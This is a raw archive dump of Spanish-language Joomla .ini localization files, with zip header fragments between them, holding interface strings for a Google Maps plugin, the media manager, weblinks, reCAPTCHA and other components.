            configuración - definido en esta configuración con lenguaje" GOOGLEMAPS_LANGTYPE_SITE="Sitio" GOOGLEMAPS_LANGTYPE_JOOMFISH="Joomfish" GOOGLEMAPS_LANGTYPE_USER="Usuario" GOOGLEMAPS_LANGTYPE_CONFIG="Configuracion" GOOGLEMAPS_LANGUAGE="Lenguaje" GOOGLEMAPS_TT_LANGUAGE="Cuando el lenguaje esta definido como configuracion defina el lenguaje aquí" GOOGLEMAPS_MAPS_LIGHTBOX="Lightbox?" GOOGLEMAPS_TT_MAPS_LIGHTBOX="Muestre un enlace al lightbox, de forma que el visitante pueda ver el lightbox" GOOGLEMAPS_MAPS_TXTLIGHTBOX="Texto del enlace del lightbox" GOOGLEMAPS_TT_MAPS_TXTLIGHTBOX="Eñ texto para el enlace que abre el lightbox" GOOGLEMAPS_MAPS_LBWIDTH="Ancho del Lightbox" GOOGLEMAPS_TT_MAPS_LBWIDTH="Ancho del lightbox" GOOGLEMAPS_MAPS_LBHEIGHT="Altura del Lightbox" GOOGLEMAPS_TT_MAPS_LBHEIGHT="Altura del lightbox" GOOGLEMAPS_MAPS_EFFECT="Efecto sobre el Mapa" GOOGLEMAPS_TT_MAPS_EFFECT="Que efecto tiene que ser usado en el mapa (Horizontal usa ancho absoluto!)" GOOGLEMAPS_MAPS_EFFECTNONE="Ninguno" GOOGLEMAPS_MAPS_EFFECTHORZ="Horizontal" GOOGLEMAPS_MAPS_EFFECTVERT="Vertical" GOOGLEMAPS_MAPS_KMLRENDERER="KML renderizado" GOOGLEMAPS_TT_MAPS_KMLRENDERER="Que renderizado tiene que ser usado para kml, gpx etc." GOOGLEMAPS_MAPS_KMLRENDERERGOOGLE="Google Maps API" GOOGLEMAPS_MAPS_KMLRENDERERGEOXML="GeoXML" GOOGLEMAPS_MAPS_KMLRENDERERARCGIS="ArcGis" GOOGLEMAPS_MAPS_KMLSIDEBAR="Tipo KML Sidebar" GOOGLEMAPS_TT_MAPS_KMLSIDEBAR="Este puede ser ninguno predeterminado), izquierda, derecha o el nombre de un div (Con esta opcion deberias colocar el div para la barra lateral tu mismo en un artículo)" GOOGLEMAPS_MAPS_KMLSIDEBARWIDTH="KML Sidebar ancho" GOOGLEMAPS_TT_MAPS_KMLSIDEBARWIDTH="Ancho de la barra lateral (predeterminado 200px)." GOOGLEMAPS_MAPS_KMLFOLDERSOPEN="Abrir carpeta KML" GOOGLEMAPS_TT_MAPS_KMLFOLDERSOPEN="Si la carpeta en un archivo kml es predeterminada o definida en el archivo kml (predeterminada)" GOOGLEMAPS_MAPS_KMLHIDE="Ocultar Marcadores KML?" GOOGLEMAPS_TT_MAPS_KMLHIDE="Si los marcadores y otros objetos deben ocultarse (omision) o no (mostrar/ocultar)" GOOGLEMAPS_MAPS_KMLSCALE="KML Scale icons?" GOOGLEMAPS_TT_MAPS_KMLSCALE="Scale the icons based on the scale entity in the kml file (default is no)" GOOGLEMAPS_MAPS_KMLINFOEVENT="Evento de ventana de informacion de KML" GOOGLEMAPS_TT_MAPS_KMLINFOEVENT="Si la ventana de informacion en un archivo kml debe reaccionar de algun modo especifico(click es predeterminado)" GOOGLEMAPS_MAPS_KMLINFOEVENTCLICK="Click" GOOGLEMAPS_MAPS_KMLINFOEVENTDOUBLECLICK="Doble click" GOOGLEMAPS_MAPS_KMLINFOEVENTMOUSEOVER="Mouseover" GOOGLEMAPS_MAPS_KMLINFOEVENTMOUSEDOWN="Mousedown" GOOGLEMAPS_MAPS_KMLSORTSIDEBAR="Orden de items en el sidebar KML" GOOGLEMAPS_TT_MAPS_KMLSORTSIDEBAR="Orden de los items en el sidebar KML (ninguno, asc, desc)" GOOGLEMAPS_MAPS_KMLSORTSIDEBARNONE="Ninguno" GOOGLEMAPS_MAPS_KMLSORTSIDEBARASC="Ascendiente" GOOGLEMAPS_MAPS_KMLSORTSIDEBARDESC="Descendiente" GOOGLEMAPS_MAPS_KMLLIGHTBOX="Soporte KML lightbox" GOOGLEMAPS_TT_MAPS_KMLLIGHTBOX="Si el script para lightbox debería ser cargado para soportar lightbox como un enlace en un archivo kml" GOOGLEMAPS_MAPS_KMLSHOWMESS="Mostar mensaje KML renderizado" GOOGLEMAPS_TT_MAPS_KMLSHOWMESS="Mostrar mensaje para carga y reccepción etc (solo para GeoXML)" GOOGLEMAPS_MAPS_SHOWKMLINFO="Mostrar KML infowindow" GOOGLEMAPS_TT_MAPS_SHOWKMLINFO="Mostrar infowindow sobre marcadores de un archivo KML (solo para GeoXML)" GOOGLEMAPS_MAPS_ZOOMMARKERS="KML Zoom to marker" GOOGLEMAPS_TT_MAPS_ZOOMMARKERS="Zoom into the marker. Select the zoomlevel that should be used. 0 is no zoom" GOOGLEMAPS_MAPS_SHOWINFOINDIV="Mostrar información en div" GOOGLEMAPS_TT_MAPS_SHOWINFOINDIV="Mostrar la descripción de un marcador en un div en vez de una infowindow (solo para GeoXML)" GOOGLEMAPS_MAPS_KMLSHOWEXTCONTENT="Mostrar contenido externo en KML" GOOGLEMAPS_TT_MAPS_KMLSHOWEXTCONTENT="Mostrar contenido externo en una infowindow de marcadores (solo para GeoXML)" GOOGLEMAPS_MAPS_KMLMARKERLINK="Usar marcador como enlaces" GOOGLEMAPS_TT_MAPS_KMLMARKERLINK="Click Sobre un marcador para ir a una url (solo para GeoXML)" GOOGLEMAPS_MAPS_KMLLINKTARGET="Enlaces con destino para marcadores" GOOGLEMAPS_TT_MAPS_KMLLINKTARGET="Como abrir un enlace en un marcador (solo para GeoXML)" GOOGLEMAPS_MAPS_KMLLINKTARGETOWNWINTAB="Propia ventana/tab" GOOGLEMAPS_MAPS_KMLLINKTARGETNEWWINTAB="Nueva ventana/tab" GOOGLEMAPS_MAPS_KMLMARKERLINKMETHOD="Metodo de enlazar marcadores" GOOGLEMAPS_TT_MAPS_KMLMARKERLINKMETHOD="Si enlaza un marcador en un archivo kml debería reaccionar en un método especifico (dobleclick es predetemrinado) (solo para GeoXML)" GOOGLEMAPS_MAPS_KMLMARKERLINKMETHODCLICK="Click" GOOGLEMAPS_MAPS_KMLMARKERLINKMETHODDOUBLECLICK="Double click" GOOGLEMAPS_MAPS_KMLMARKERLINKMETHODMOUSEOVER="Mouseover" GOOGLEMAPS_MAPS_KMLMARKERLINKMETHODMOUSEDOWN="Mousedown" GOOGLEMAPS_MAPS_LABELOPACITYMARKER="Opacidad del rotulo del marcador" GOOGLEMAPS_TT_MAPS_LABELOPACITYMARKER="La opacidad sobre rotulos de marcadores en un archivo KML (solo para GeoXML)" GOOGLEMAPS_MAPS_LABELCLASSMARKER="Clase de rotulo del marcador" GOOGLEMAPS_TT_MAPS_LABELCLASSMARKER="La clase para los rotulos de marcadores en KML (solo para GeoXML)" GOOGLEMAPS_MAPS_LABELOPACITYPOLYGON="Opacidad del rotulo" GOOGLEMAPS_TT_MAPS_LABELOPACITYPOLYGON="La opacidad para rotulos de poligonos en archivos KML (solo para GeoXML)" GOOGLEMAPS_MAPS_LABELCLASSPOLYGON="Clases de rotulos" GOOGLEMAPS_TT_MAPS_LABELCLASSPOLYGON="La clase para los rotulos de poligonos en archivos KML (solo para GeoXML)" GOOGLEMAPS_MAPS_KMLPROXY="Usar proxy para kml" GOOGLEMAPS_TT_MAPS_KMLPROXY="Obtener archivos kml con proxy cuando use geoxml. Si no usas proxy entonces el archivo kml debería estar en tu sitio ." GOOGLEMAPS_MAPS_SV="Streetview" GOOGLEMAPS_TT_MAPS_SV="Este puede ser ninguno (predeterminado), arriba, abajo o un nombre de un div (con esta opción tienes que colocar el nombre del div para streetview en el artículo)" GOOGLEMAPS_MAPS_SVWIDTH="Ancho" GOOGLEMAPS_TT_MAPS_SVWIDTH="Ancho del streetview (predeterminado 100%). Lo mejor es el mismo ancho del mapa. Puedes colocar unidades como 100%, 400 o 400px. Minimo es 250px." GOOGLEMAPS_MAPS_SVHEIGHT="Altura" GOOGLEMAPS_TT_MAPS_SVHEIGHT="Altura del streetview (predeterminado 300). Mejor es cerca de las 2/3 de el ancho del streetview. Puedes colocar unidades como 100%, 400 o 400px. Minimo es 70px." GOOGLEMAPS_MAPS_SVYAW="Streetview yaw" GOOGLEMAPS_TT_MAPS_SVYAW="Define el angulo de rotación alrededor de la cámara locus en grados relativos desde el norte real(predeterminado 0 = Norte)" GOOGLEMAPS_MAPS_SVPITCH="Streetview pitch" GOOGLEMAPS_TT_MAPS_SVPITCH="Define la vrianza del angulo arriba y abajo desde el inicial predeterminado por la camara pitch (predeterminado 0 = horizontal)" GOOGLEMAPS_MAPS_SVZOOM="Streetview zoom" GOOGLEMAPS_TT_MAPS_SVZOOM="Define el nivel de zoom de la vista (predeterminado vacío)" GOOGLEMAPS_MAPS_EARTHTIMEOUT="Tiempo de espera en el tipo de mapa Earth" GOOGLEMAPS_TT_MAPS_EARTHTIMEOUT="Tiempo de espera para el tipo de mapa Earth para la próxima acción como lookat y vista de cámara" GOOGLEMAPS_MAPS_EARTHBORDERS="Bordes de Earth" GOOGLEMAPS_TT_MAPS_EARTHBORDERS="Muestra los bordes sobre la capa Earth" GOOGLEMAPS_MAPS_EARTHBUILDINGS="Edificios de Earth" GOOGLEMAPS_TT_MAPS_EARTHBUILDINGS="Muestra los edificios sobre la capa Earth" GOOGLEMAPS_MAPS_EARTHROADS="Carreteras Earth" GOOGLEMAPS_TT_MAPS_EARTHROADS="Muestra las carreteras sobre la capa Earth" GOOGLEMAPS_MAPS_EARTHTERRAIN="Terreno Earth" GOOGLEMAPS_TT_MAPS_EARTHTERRAIN="Muestra el terreno sobre la capa Earth" GOOGLEMAPS_MAPS_CLUSTERMAXMARKERS="Número máximo de marcadores en el mapa" GOOGLEMAPS_TT_MAPS_CLUSTERMAXMARKERS="Máximo marcadores en el mapa antes de la agrupación, por defecto 650 (sólo kml procesador geoxml)" GOOGLEMAPS_MAPS_CLUSTERGRIDSIZE="GridSize clúster" GOOGLEMAPS_TT_MAPS_CLUSTERGRIDSIZE="Tamaño de la red para un clúster, por defecto 15 (sólo kml procesador geoxml)" GOOGLEMAPS_MAPS_CLUSTERMINMARKERS="Min marcadores de racimo" GOOGLEMAPS_TT_MAPS_CLUSTERMINMARKERS="Mínimo los marcadores en un clúster, por defecto 5 (sólo kml procesador geoxml)" GOOGLEMAPS_MAPS_CLUSTERINFOMAXLINES="Número máximo de líneas de racimo información" GOOGLEMAPS_TT_MAPS_CLUSTERINFOMAXLINES="El número máximo de líneas en la ventana de información de un grupo, por defecto 15 (sólo kml renderizado a geoxml)" GOOGLEMAPS_MAPS_CLUSTERINFOMETHOD="Método de racimo infowindow" GOOGLEMAPS_TT_MAPS_CLUSTERINFOMETHOD="Método de apertura de la ventana de información en un clúster (click por defecto) (sólo para geoxml)" GOOGLEMAPS_MAPS_CLUSTERINFOMETHODCLICK="Click" GOOGLEMAPS_MAPS_CLUSTERINFOMETHODDOUBLECLICK="Doble click" GOOGLEMAPS_MAPS_CLUSTERINFOMETHODMOUSEOVER="Mouseover" GOOGLEMAPS_MAPS_CLUSTERINFOMETHODMOUSEDOWN="Mousedown" GOOGLEMAPS_MAPS_CLUSTERZOOMINTO="Método de racimo zoominto" GOOGLEMAPS_TT_MAPS_CLUSTERZOOMINTO="Método en el marcador de la captura en un clúster (DblClick es por defecto) (sólo para geoxml)" GOOGLEMAPS_MAPS_CLUSTERZOOMINTOCLICK="Click" GOOGLEMAPS_MAPS_CLUSTERZOOMINTODOUBLECLICK="Doble click" GOOGLEMAPS_MAPS_CLUSTERZOOMINTOMOUSEOVER="Mouseover" GOOGLEMAPS_MAPS_CLUSTERZOOMINTOMOUSEDOWN="Mousedown" GOOGLEMAPS_MAPS_CLUSTERMARKERZOOM="Clúster marcador zoom" GOOGLEMAPS_TT_MAPS_CLUSTERMARKERZOOM="El nivel de zoom para un marcador en un clúster se muestra como un enlace en la ventana de información del grupo (por defecto 16)" GOOGLEMAPS_MAPS_TILELAYER="Azulejos capa" GOOGLEMAPS_TT_MAPS_TILELAYER="La url donde los cuadros se pueden encontrar. Después de esta url el método del azulejo se pueden agregar o que puede ser utilizado en la función especial para definir la url. También definir la extensión, por ejemplo. png" GOOGLEMAPS_MAPS_TILEOPACITY="Azulejos de opacidad" GOOGLEMAPS_TT_MAPS_TILEOPACITY="La opacidad de los cuadros de costumbres (1 no es transparente, 0 es invisible, 0.5 a mitad de camino)" GOOGLEMAPS_MAPS_TILEBOUNDS="Azulejos límites" GOOGLEMAPS_TT_MAPS_TILEBOUNDS="Los límites de una azulejos la costumbre consiste en coordenadas para leftbottom (suroeste) y la parte superior derecha (noreste). Todos los valores deben estar separados por comas" GOOGLEMAPS_MAPS_TILEMINZOOM="Minimo zoom de tejado" GOOGLEMAPS_TT_MAPS_TILEMINZOOM="Mínimo nivel de zoom para los cuadros de costumbre (por defecto 0)" GOOGLEMAPS_MAPS_TILEMAXZOOM="Tejado máximo zoom" GOOGLEMAPS_TT_MAPS_TILEMAXZOOM="Máximo nivel de zoom para los tejados (por defecto 19)" GOOGLEMAPS_MAPS_TILEMETHOD="Tejado método" GOOGLEMAPS_TT_MAPS_TILEMETHOD="El método para obtener los cuadros. Esto puede ser maptiler para una función especial. O los parámetros después de la URL como / Z / X / Y.png. Z - zoom, X - tile.x, Y - tile.y." GOOGLEMAPS_MAPS_LATITUDEID="ID Latitud" GOOGLEMAPS_TT_MAPS_LATITUDEID="ID para el usuario de la latitud" GOOGLEMAPS_MAPS_LATITUDEDESC="Descripcion de la Latitud" GOOGLEMAPS_TT_MAPS_LATITUDEDESC="Muestra la descripcion de la latitud en la ventana de informacion del marcador" GOOGLEMAPS_MAPS_LATITUDECOORD="Coor de Latitud" GOOGLEMAPS_TT_MAPS_LATITUDECOORD="Muestra las coordenadas de la latitud en la ventana de informacion del marcador"PK@y>\?)language/es-ES/es-ES.com_weblinks.sys.ininuW+A; $Id: es-ES.com_weblinks.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_WEBLINKS="Enlaces web" COM_WEBLINKS_XML_DESCRIPTION="Componente que permite gestionar los enlaces web" COM_WEBLINKS_LINKS="Enlaces" COM_WEBLINKS_CATEGORIES="Categorías" COM_WEBLINKS_CATEGORY_ADD_TITLE="Gestor de categorías: Añadir una nueva categoría de enlaces web" COM_WEBLINKS_CATEGORY_EDIT_TITLE="Gestor de categorías: Editar una categoría de enlaces web" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_DESC="Muestra todos los enlaces web de una categoría" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_OPTION="Predeterminado" COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_TITLE="Mostrar todos los enlaces web de una categoría" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_DESC="Muestra todas las categorías de enlaces web que hay dentro de una categoría." COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_OPTION="Predeterminado" COM_WEBLINKS_CATEGORIES_VIEW_DEFAULT_TITLE="Mostrar todas las categorías de enlaces web" COM_WEBLINKS_FORM_VIEW_DEFAULT_DESC="Muestra un formulario para enviar enlaces web desde el sitio." COM_WEBLINKS_FORM_VIEW_DEFAULT_OPTION="Predeterminado" COM_WEBLINKS_FORM_VIEW_DEFAULT_TITLE="Mostrar un formulario para crear y enviar un enlace web" PK@y>\J1language/es-ES/es-ES.plg_search_newsfeeds.sys.ininuW+A; $Id: es-ES.plg_search_newsfeeds.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEARCH_NEWSFEEDS="Buscar - Canales electrónicos" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Se habilitan las búsquedas el los canales electrónicos" PK@y>\t%t%"language/es-ES/es-ES.com_media.ininuW+A; $Id: es-ES.com_media.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_MEDIA="Gestor multimedia" COM_MEDIA_ALIGN="Alineación" COM_MEDIA_ALIGN_DESC="Configurado en 'Sin asignar', la alineación será definida por la clase '.img_caption.none'. Normalmente dejará la imagen centrada en la página." COM_MEDIA_BROWSE_FILES="Navegador de archivos" COM_MEDIA_CAPTION="Subtítulo" COM_MEDIA_CAPTION_DESC="Configurado en 'Sí', se usará el título de la imagen como subtítulo." COM_MEDIA_CLEAR_LIST="Limpiar lista" COM_MEDIA_CONFIGURATION="Opciones del gestor multimedia" COM_MEDIA_CREATE_COMPLETE="Creación completada: %s" COM_MEDIA_CREATE_FOLDER="Crear carpeta" COM_MEDIA_CURRENT_PROGRESS="Progreso actual" COM_MEDIA_DELETE_COMPLETE="Borrado completado: %s" COM_MEDIA_DESCFTPTITLE="Detalles de acceso al FTP" COM_MEDIA_DESCFTP="Para subir, cambiar y borrar archivos multimedia, Joomla! podría necesitar los detalles de acceso a su cuenta FTP. Por favor, introdúzcalos en los campos del formulario de más abajo." COM_MEDIA_DETAIL_VIEW="Vista en detalle" COM_MEDIA_DIRECTORY="Directorio" COM_MEDIA_DIRECTORY_UP="Subir directorio" COM_MEDIA_ERROR_BAD_REQUEST="Solicitud no aceptable" COM_MEDIA_ERROR_BEFORE_DELETE_0="Se produjo algún error mientras se borraba el archivo multimedia" COM_MEDIA_ERROR_BEFORE_DELETE_1="Se produjo un error previo al borrado del archivo multimedia: %s" COM_MEDIA_ERROR_BEFORE_DELETE_MORE="Se produjeron algunos errores mientras se borraba el archivo multimedia: %s" COM_MEDIA_ERROR_BEFORE_SAVE_0="Se produjo algún error mientras se guardaba el archivo multimedia" COM_MEDIA_ERROR_BEFORE_SAVE_1="Se produjo un error mientras se guardaba el archivo multimedia: %s" COM_MEDIA_ERROR_BEFORE_SAVE_MORE="Se produjeron algunos errores mientras se guardaba el archivo multimedia: %s" COM_MEDIA_ERROR_CREATE_NOT_PERMITTED="No se permite la acción 'Crear'" COM_MEDIA_ERROR_FILE_EXISTS="El archivo ya existe" COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME="No se puede crear el directorio. El nombre de directorio solo debe contener caracteres alfanuméricos y sin espacios." COM_MEDIA_ERROR_UNABLE_TO_BROWSE_FOLDER_WARNDIRNAME="No se puede navegar: %s. El nombre de directorio solo debe contener caracteres alfanuméricos, sin espacios." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME="No se puede borrar: %s. El nombre del archivo solo debe contener caracteres alfanuméricos y sin espacios." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY="No se puede borrar: %s. ¡El directorio no está vacío!" COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_WARNDIRNAME="No se puede borrar: %s. El nombre de directorio solo debe contener caracteres alfanuméricos y sin espacios." COM_MEDIA_ERROR_UNABLE_TO_DELETE=" No se puede borrar: " COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE="No se puede subir el archivo." COM_MEDIA_ERROR_UPLOAD_INPUT="Por favor, introduzca un archivo a subir" COM_MEDIA_ERROR_WARNFILENAME="El nombre del archivo solo debe contener caracteres alfanuméricos y sin espacios." COM_MEDIA_ERROR_WARNFILETOOLARGE="Este archivo es demasiado grande y no se podrá subir." COM_MEDIA_ERROR_WARNFILETYPE="Este tipo de archivo no está soportado." COM_MEDIA_ERROR_WARNIEXSS="Encontrado un posible ataque IE XSS." COM_MEDIA_ERROR_WARNINVALID_IMG="No es una imagen válida." COM_MEDIA_ERROR_WARNINVALID_MIME="Detectado un tipo de MIME ilegal o inválido." COM_MEDIA_ERROR_WARNNOTADMIN="El archivo a subir no es del tipo imagen y usted no tiene privilegios de gestor o superiores." COM_MEDIA_ERROR_WARNNOTEMPTY="¡No está vacío!" COM_MEDIA_FIELD_CHECK_MIME_DESC="Usar el 'MIME Magic' o el 'Fileinfo' para intentar verificar archivos. Intente deshabilitarlo si recibe errores relacionados con los tipos de MIME" COM_MEDIA_FIELD_CHECK_MIME_LABEL="Comprobar los tipos de MIME" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_DESC="Las subidas en flash permiten subir múltiples archivos al mismo tiempo. Puede que no funcione sobre su configuración" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_LABEL="Habilitar las subidas en flash" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_DESC="Extensiones de archivo ignoradas para comprobar el tipo de MIME y las subidas restringidas" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_LABEL="Extensiones ignoradas" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_DESC="Una lista de tipos de MIME no permitidos para su subida, separados por una coma (lista negra)" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_LABEL="Tipos de MIME no permitidos" COM_MEDIA_FIELD_LEGAL_EXTENSIONS_DESC=" Extensiones de tipos de archivo permitidos para su subida, separados por una coma." COM_MEDIA_FIELD_LEGAL_EXTENSIONS_LABEL="Extensiones permitidas" COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_DESC="Extensiones de imagen (tipos de archivo) permitidos para su subida (separados por una coma). Se usa para comprobar si los encabezados de la imagen son válidos." COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_LABEL="Extensiones de imagen permitidas" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_DESC="Una lista de tipos de MIME permitidos para su subida" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_LABEL="Tipos de MIME permitidos" COM_MEDIA_FIELD_MAXIMUM_SIZE_DESC="Límite máximo del peso para una subida (en megabytes). Use el valor '0' para que sea ilimitado. Nota: El servidor también puede tener configurado un límite máximo, el cual, no lo controla Joomla!" COM_MEDIA_FIELD_MAXIMUM_SIZE_LABEL="Peso máximo (en MB)" COM_MEDIA_FIELD_PATH_FILE_FOLDER_DESC="Introduzca la ruta al directorio de archivos, relativo al directorio raíz. ¡Advertencia! Cambiándolo a otra ruta distinta a 'images' puede romper sus enlaces" COM_MEDIA_FIELD_PATH_FILE_FOLDER_LABEL="Ruta al directorio de archivos" COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_DESC="Introduzca la ruta al directorio de imágenes, relativo al directorio raíz. Esta ruta debe ser la misma que se usa para los archivos (predeterminado) o hacia una subcarpeta en ruta a la de archivos." COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_LABEL="Ruta al directorio de imágenes" COM_MEDIA_FIELD_RESTRICT_UPLOADS_DESC="Se restringen las subidas, si el 'Fileinfo' o 'MIME Magic' no están instalados, para que los usuarios con rango de usuario inferior a gestor solo puedan subir archivos del tipo imagen." COM_MEDIA_FIELD_RESTRICT_UPLOADS_LABEL="Restringir subidas" COM_MEDIA_FILES="Archivos" COM_MEDIA_FILESIZE_BYTES="%s bytes" COM_MEDIA_FILESIZE="Peso del archivo" COM_MEDIA_FILESIZE_KILOBYTES="%s KB" COM_MEDIA_FILESIZE_MEGABYTES="%s MB" COM_MEDIA_FOLDER="Carpeta" COM_MEDIA_FOLDERS="Carpetas multimedia" COM_MEDIA_FOLDERS_PATH_LABEL="Cambiando la ruta predeterminada 'hacia la carpeta de archivos' a otra carpeta distinta a la de 'images' puede romper sus enlaces.
            La 'ruta a la carpeta de imágenes' tiene que ser la misma o una subcarpeta 'hacia la ruta de archivos'." COM_MEDIA_IMAGE_DESCRIPTION="Descripción de la imagen" COM_MEDIA_IMAGE_TITLE="%1$s - %2$s" COM_MEDIA_IMAGE_DIMENSIONS="%1$s x %2$s" COM_MEDIA_IMAGE_URL="URL de la imagen" COM_MEDIA_INSERT_IMAGE="Insertar imagen" COM_MEDIA_INSERT="Insertar" COM_MEDIA_INVALID_REQUEST="Solicitud inválida" COM_MEDIA_MEDIA="Multimedia" COM_MEDIA_NAME="Nombre de la imagen" COM_MEDIA_NO_IMAGES_FOUND="Sin imágenes encontradas" COM_MEDIA_NOT_SET="Sin asignar" COM_MEDIA_OVERALL_PROGRESS="Progreso general" COM_MEDIA_PIXEL_DIMENSIONS="Dimensiones" COM_MEDIA_START_UPLOAD="Iniciar subida" COM_MEDIA_THUMBNAIL_VIEW="Vista en miniaturas" COM_MEDIA_TITLE="Título de la imagen" COM_MEDIA_UPLOAD_COMPLETE="Subida completada: %s" COM_MEDIA_UPLOAD_FILES_NOLIMIT="Subir archivos (Sin tamaño máximo) " COM_MEDIA_UPLOAD_FILES="Subir archivos (Tamaño máximo: %s MB) " COM_MEDIA_UPLOAD_FILE="Subir archivo" COM_MEDIA_UPLOAD_SUCCESSFUL="Subido correctamente" COM_MEDIA_UPLOAD="Subir" COM_MEDIA_UP="Subir" COM_MEDIA_XML_DESCRIPTION="Componente que permite gestionar los archivos multimedia del sitio" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\m"t'language/es-ES/es-ES.com_mailto.sys.ininuW+A; $Id: es-ES.com_mailto.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_MAILTO="Enviar correo" COM_MAILTO_XML_DESCRIPTION="Un correo genérico amigable para el componente" PK@y>\t\\+language/es-ES/es-ES.plg_content_finder.ininuW+A; $Id: es-ES.plg_content_finder.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_FINDER="Contenido - Búsquedas inteligentes" PLG_CONTENT_FINDER_XML_DESCRIPTION="Habilita la indexación para las búsquedas inteligentes" PLG_FINDER_QUERY_FILTER_BRANCH_P__="Todos" PLG_FINDER_QUERY_FILTER_BRANCH_S_TYPE="Tipo" PLG_FINDER_QUERY_FILTER_BRANCH_S_LANGUAGE="Idioma" PLG_FINDER_QUERY_FILTER_BRANCH_S_CATEGORY="Categoría" PLG_FINDER_QUERY_FILTER_BRANCH_P_TYPE="Tipos" PLG_FINDER_QUERY_FILTER_BRANCH_P_LANGUAGE="Idiomas" PLG_FINDER_QUERY_FILTER_BRANCH_P_CATEGORY="Categorías" PK@y>\}mm2language/es-ES/es-ES.plg_captcha_recaptcha.sys.ininuW+A; $Id: es-ES.plg_captcha_recaptcha.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="Este plugin usa el servicio de reCAPTCHA para prevenir el acceso de robots de SPAM ('spammers') mientras se están digitalizando contenidos que están destinados a humanos. Para obtener una clave pública y privada para su dominio, visite http://www.google.com/recaptcha. Para usar esto en el registro de usuarios, vaya a las 'Opciones' del 'Gestor de usuarios' y seleccione 'Captcha – reCaptcha' como sistema de protección." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" PK@y>\|c*language/es-ES/es-ES.plg_system_logout.ininuW+A; $Id: es-ES.plg_system_logout.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="El plugin de desconexión habilita la redirección del usuario a la página de inicio, si se desconecta de una página de acceso protegida." PLG_SYSTEM_LOGOUT="Sistema - Desconectar" PLG_SYSTEM_LOGOUT_REDIRECT="Ha sido redireccionado a la página de desconexión" PK@y>\yi'language/es-ES/es-ES.com_config.sys.ininuW+A; $Id: es-ES.com_config.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All 